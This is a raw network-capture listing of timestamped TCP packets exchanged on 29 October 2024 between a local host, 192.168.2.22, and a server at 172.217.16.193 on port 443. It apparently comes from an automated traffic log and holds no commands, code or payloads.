                                                                                                                                                                                                Oct 29, 2024 16:31:22.422733068 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.422823906 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.422832966 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.436186075 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.436296940 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.436306953 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.450333118 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.450463057 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.450484991 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.463051081 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.463172913 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.463186026 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.475673914 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.475774050 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.475783110 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.491416931 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.491528988 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.491537094 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.503107071 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.503211975 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.503221989 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.515990973 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.516041994 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.516052008 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.723416090 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.764317989 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.764395952 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.764425039 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.764483929 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.764513969 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.764555931 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.764556885 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.764569044 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.764601946 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.764619112 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.764780045 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.764816046 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.764820099 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.764826059 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.764853954 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.764925957 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.765096903 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.765132904 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.765141964 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.765337944 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.765373945 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.765378952 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.765386105 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.765419006 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.765424967 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.765752077 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.765789032 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.765791893 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.765799046 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.765837908 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.765978098 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.766037941 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.766067028 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.766078949 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.766084909 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.766119957 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.766207933 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.766272068 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.766311884 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.766318083 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.766422987 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.766454935 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.766462088 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.766467094 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.766503096 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.766508102 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.766546011 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.766577005 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.766582012 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.766616106 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.766652107 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.766657114 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.769304037 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.769337893 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.769347906 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.769366980 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.769402027 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.783169985 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.816315889 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.816379070 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.816416979 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.816420078 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.816432953 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.816461086 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.821218014 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.821285009 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.821320057 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.821326971 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.821362972 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.834327936 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.834392071 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.834443092 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.834450006 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.847714901 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.847829103 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.847835064 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.861037970 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.861136913 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.861165047 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.877847910 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.877931118 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.877954006 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.887980938 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.888051033 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.888063908 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.901290894 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.901376963 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.901393890 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.914433002 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.914511919 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.914526939 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.928208113 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.928287983 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.928303003 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.941409111 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.941468000 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.941478014 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.954133987 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.954226017 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.954232931 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.967681885 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.967752934 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.967777014 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.980899096 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.980968952 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.980993032 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.994124889 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:22.994189024 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:22.994199038 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.007988930 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.008053064 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.008066893 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.021065950 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.021114111 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.021121979 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.034274101 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.034334898 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.034347057 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.049730062 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.049823046 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.049835920 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.061141014 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.061203003 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.061213017 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.074481964 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.074537039 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.074548006 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.087608099 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.087654114 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.087661982 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.300609112 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.374591112 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.374685049 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.374723911 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.374763012 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.374763966 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.374790907 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.374823093 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.374831915 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.374864101 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.374900103 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.374922991 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.374927998 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.374953985 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.374967098 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.374996901 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.375015974 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.375020981 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.375057936 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.375061035 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.375096083 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.375101089 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.375153065 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.375189066 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.375193119 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.375233889 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.375242949 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.375247002 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.375287056 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.375293016 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.375298023 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.375334024 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.375339985 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.375394106 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.375399113 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.375442982 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.375475883 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.375480890 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.375485897 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.375520945 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.375524998 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.375560999 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.375591040 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.375597954 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.375602007 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.375636101 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.375646114 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.375672102 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.375772953 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.376288891 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.376401901 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.376451015 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.376456022 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.376568079 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.376605988 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.376605988 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.376616001 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.376641035 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.376646996 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.376795053 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.376836061 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.376842022 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.376910925 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.376949072 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.376954079 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.383446932 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.383483887 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.383512020 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.383519888 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.383554935 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.393734932 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.407262087 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.407344103 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.407346964 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.407361984 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.407399893 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.420499086 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.433864117 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.433907032 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.433954954 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.433967113 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.434014082 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.446971893 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.460465908 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.460516930 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.460524082 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.473620892 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.473660946 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.473680019 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.473685980 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.473717928 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.553900957 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.553919077 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.553972006 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.553997040 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.554076910 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.554089069 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.554100037 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.554127932 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.554186106 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.633443117 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.633477926 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.633533001 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.633547068 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.633558035 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.713736057 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.713773012 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.713903904 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.713928938 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.713942051 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.781539917 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.781569958 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.781594038 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.781680107 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.781697989 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.781711102 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.860129118 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.860142946 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.860171080 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.860181093 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.860234976 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.860255003 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.860265970 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.860338926 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.939954996 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.939990044 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.940061092 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.940066099 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.940085888 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.940113068 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.940113068 CET44349174172.217.16.193192.168.2.22
                                                                                                                                                                                                Oct 29, 2024 16:31:23.940140009 CET49174443192.168.2.22172.217.16.193
                                                                                                                                                                                                Oct 29, 2024 16:31:23.940202951 CET49174443192.168.2.22172.217.16.193
